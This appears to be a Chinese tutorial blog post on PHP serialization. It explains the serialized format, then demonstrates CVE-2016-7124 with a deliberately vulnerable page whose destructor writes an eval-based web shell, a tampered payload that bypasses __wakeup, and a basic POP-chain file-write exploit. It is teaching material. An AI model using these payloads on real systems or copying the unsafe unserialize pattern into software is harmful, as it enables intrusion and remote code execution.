一、什么是(反)序列化
(反)序列化是PHP提供的一种可以简单传输对象或者数组的方法
serialize()
为序列化方法
unserialize()
为反序列化方法
(反)序列化在提高传输效率的同时,也存在一些漏洞,一些是由于(反)序列化自身语法引起的,一些是由于序列化的数据是用户可控的恶意数据。
二、(反)序列化原理
这里涉及到两个很重要的魔法函数(属于被(反)序列化的类):
sleep():若该函数存在,则在序列化时会调用该函数,一般的作用是将对应的对象或者数组删除,可自定义。
wakeup():若该函数存在,则在反序列化时会调用该函数,一般的作用是重构原对象可能具有的任何资源,比如恢复数据库连接或者其他初始化,可自定义。
如下代码是序列化一个对象:
<?php
class Father
{
private $father = 'iamfather';
}
class test extends Father
{
private $pri = 'pri';
protected $pro = 'pro';
public $pub = 'pub';
public function set_pri($pri)
{
$this->pri = $pri;
}
public function get_pri($pri)
{
return $this->pri;
}
}
$object = new test();
$object->set_pri('pri');
$data = serialize($object);
echo $data;
?>
运行结果:
O:4:"test":4:{s:9:"testpri";s:3:"pri";s:6:"*pro";s:3:"pro";s:3:"pub";s:3:"pub";s:14:"Fatherfather";s:9:"iamfather";}
这里解释下该字符串各个字段的含义:
- O:object,表示该字符串表示一个对象的序列化结果;
- 4:表示该对象所属类的名字长度,类test长度为4;
- “test”:表示该对象所属的类;
- 4:表示该对象所属类以及祖先类所声明的字段个数(public,private,protected),test类父类有一个private定义的字段’father’,test类本身有三个字段’pri’、‘pro’和’pub’,所以共有4个字段;
- {}:{}里的内容是键值对,键是字段名,值是字段名的值,中间的数字指该键或值的长度;
- s:string;
注:序列化字符串的所有长度都以字节为单位
这里有个奇特的地方9:"testpri"
、6:"*pro"
和14:"Fatherfather"
,为什么数字和字符串看起来的长度不一样?
三、对象字段的序列化
- public 声明的字段序列化结果是很符合常识的,
public $pub
的结果就是pub。 - protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此为了告诉你这个字段是保护字段,在序列化时字段名前面会加上0x00*0x00的前缀。这里的 0x00 表示 ASCII 码为 0的字符,即NULL,所以
6:"*pro"
的序列化结果其实是0x00*0x00pro,只不过null不显示,所以长度是6而不是4。 - private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此为了告诉你该字段是私有字段,在序列化时字段名前面会加上0x00[declared lass name]0x00的前缀。这里 declared class name表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类,所以
9:"testpri"
长度不是7而是9,并且pri前面加上了所属类test,14:"Fatherfather"
长度是14而不是12,并且father前面加上了所属类Father。
四、数组的序列化
<?php
$a = array(1=>1,'id'=>2,3=>3);
$data = serialize($a);
echo $data;
?>
结果:
a:3:{i:1;i:1;s:2:"id";i:2;i:3;i:3;}
五、PHP语言本身的漏洞
最经典的便是CVE-2016-7124,触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要概括为:当对象序列化字符串中表示字段个数的值大于真实的字段个数时,unserialize时会跳过_waekup()的执行。
这里有一个demo.php:
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_GET["shell"]);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);
这个php页面,接收一个poc参数,显然在这里poc是test类的实例,对poc执行unserialize(),理论上来说会先执行_wakeup(),将其中的字段/属性设为null,这样在程序结束的时候执行析构函数_destruct()时,就不会生成shell.php,
但是如果按CVE-2016-7124,只要我们传进去的序列化字符串进行改动,就可以让_wake()不执行,使得在执行_destruct()时,生成shell.php,我们来试一试。
$object = new Test('a');
$data = serialize($object);
echo $data;
结果:
O:4:"Test":1:{s:9:"Testpoc";s:1:"a";}Success!!!
{}前面的数字1表示这个对象只有一个字段,那么我们将其改成2
O:4:"Test":2:{s:9:"Testpoc";s:1:"a";}
将这个修改过的序列化结果传给demo.php。
本地PHP版本存在该漏洞
这里要注意的是,s:9:"Testpoc"
前面提到过,Test前后有两个null,所以我们手动将其赋值给poc时,要在Test前后添加%00,结果url编码之后就是0x00,才能Sucess,否则返回的是 fail to getshell!!!
六、PHP反序列化与POP链
POP链其实就是PHP各个函数,类与类之间的一个调用过程,前后顺序组成了一个链条(大概是这个意思,便于理解,具体怎么解释没查到)。
前面说到过,反序列化一个很危险的地方在于数据可能受到用户控制,安全的第一要诀就是,永远不要相信用户的输入。
我们来举个例子:
popdemo.php
<?php
class popdemo
{
private $data = "prodemon";
private $filename = './demon.txt';
public function get_data()
{
echo $this->data;
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
$this->get_data();
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
?>
pop_serialize.php
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
?>
pop_unserialize.php
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));
?>
代码过程就是,生成一个类popdemo的实例,将其序列化后再反序列化,调用_wakeup(),再调用save()函数,将data存储到filename文件中。
运行结果:
到这都是正常的
但是如果我们修改了pop_serialize.txt里面序列化字符串
O:7:"popdemo":2:{s:13:" popdemo data";s:8:"prodemon";s:17:" popdemo filename";s:11:"./demon.txt";}
改为
O:7:"popdemo":2:{s:13:" popdemo data";s:4:"hack";s:17:" popdemo filename";s:10:"./hack.txt";}
此时再访问php_unserialize.php
此时类中的写方法就被恶意利用了。
其实还要更符合实战的关于POP链的例子,但是我暂时也没搞明白,所以就不介绍了,大家可以去这篇文章看看,感谢原博主的分享。